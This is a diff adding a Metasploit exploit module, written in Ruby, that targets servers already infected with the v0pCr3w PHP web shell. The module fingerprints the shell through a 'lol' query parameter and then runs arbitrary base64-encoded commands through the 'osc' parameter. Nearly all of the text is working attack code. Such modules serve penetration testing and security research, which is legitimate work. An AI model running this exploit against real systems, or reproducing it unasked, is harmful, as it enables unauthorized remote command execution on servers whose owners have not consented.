|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = GreatRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'v0pCr3w Web Shell Remote Code Execution', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a lack of authentication in the shell developed by v0pCr3w |
| 20 | + and is widely reused in automated RFI payloads. This module takes advantage of the |
| 21 | + shell's various methods to execute commands. |
| 22 | + }, |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'bwall <bwall[at]openbwall.com>', # vuln discovery & msf module |
| 27 | + ], |
| 28 | + 'References' => |
| 29 | + [ |
| 30 | + ['URL', 'https://defense.ballastsecurity.net/wiki/index.php/V0pCr3w_shell'], |
| 31 | + ['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=f6b534edf37c3cc0aa88997810daf9c0'] |
| 32 | + ], |
| 33 | + 'Privileged' => false, |
| 34 | + 'Payload' => |
| 35 | + { |
| 36 | + 'Space' => 2000, |
| 37 | + 'BadChars' => '', |
| 38 | + 'DisableNops' => true, |
| 39 | + 'Compat' => |
| 40 | + { |
| 41 | + 'PayloadType' => 'cmd', |
| 42 | + } |
| 43 | + }, |
| 44 | + 'Platform' => ['unix', 'win'], |
| 45 | + 'Arch' => ARCH_CMD, |
| 46 | + 'Targets' => |
| 47 | + [ |
| 48 | + ['v0pCr3w / Unix', { 'Platform' => 'unix' } ], |
| 49 | + ['v0pCr3w / Windows', { 'Platform' => 'win' } ] |
| 50 | + ], |
| 51 | + 'DisclosureDate' => 'Mar 23 2013', |
| 52 | + 'DefaultTarget' => 0)) |
| 53 | + |
| 54 | + register_options( |
| 55 | + [ |
| 56 | + OptString.new('TARGETURI', [true, "The path to the v0pCr3w shell", "/jos.php"]), |
| 57 | + ],self.class) |
| 58 | + end |
| 59 | + |
| 60 | + def check |
| 61 | + shell = send_request_cgi({ |
| 62 | + 'method' => 'GET', |
| 63 | + 'uri' => normalize_uri(target_uri.path.to_s), |
| 64 | + 'vars_get' => { |
| 65 | + 'lol' => '1' |
| 66 | + } |
| 67 | + }) |
| 68 | + if (shell and shell.body =~ /v0pCr3w\<br\>/ and shell.body =~ /\<br\>nob0dyCr3w/) |
| 69 | + return Exploit::CheckCode::Vulnerable |
| 70 | + end |
| 71 | + return Exploit::CheckCode::Safe |
| 72 | + end |
| 73 | + |
| 74 | + def http_send_command(cmd) |
| 75 | + p = Rex::Text.encode_base64(cmd) |
| 76 | + res = send_request_cgi({ |
| 77 | + 'method' => 'GET', |
| 78 | + 'uri' => normalize_uri(target_uri.path.to_s), |
| 79 | + 'vars_get' => { |
| 80 | + 'osc' => p |
| 81 | + } |
| 82 | + }) |
| 83 | + if not (res and res.code == 200) |
| 84 | + fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.') |
| 85 | + end |
| 86 | + end |
| 87 | + |
| 88 | + def exploit |
| 89 | + http_send_command(payload.encoded) |
| 90 | + end |
| 91 | +end |
0 commit comments